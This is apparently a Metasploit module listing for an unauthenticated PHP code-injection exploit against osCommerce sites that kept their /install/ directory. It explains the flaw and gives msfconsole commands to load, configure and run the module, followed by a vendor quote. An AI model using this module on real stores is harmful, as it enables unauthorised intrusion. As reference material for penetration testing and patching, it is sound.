If the /install/ directory was not removed, it is possible for an unauthenticated attacker to run the "install_4.php" script, which will create the configuration file for the installation. This allows the attacker to inject PHP code into the configuration file and execute it.
PHP
php
To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':
msf > use exploit/multi/http/oscommerce_installer_unauth_code_exec
msf exploit(oscommerce_installer_unauth_code_exec) > show targets
...targets...
msf exploit(oscommerce_installer_unauth_code_exec) > set TARGET < target-id >
msf exploit(oscommerce_installer_unauth_code_exec) > show options
...show and set options...
msf exploit(oscommerce_installer_unauth_code_exec) > exploit
Time is precious, so I don’t want to do something manually that I can automate. Leveraging the Metasploit Framework when automating any task keeps us from having to re-create the wheel as we can use the existing libraries and focus our efforts where it matters.
– Jim O’Gorman | President, Offensive Security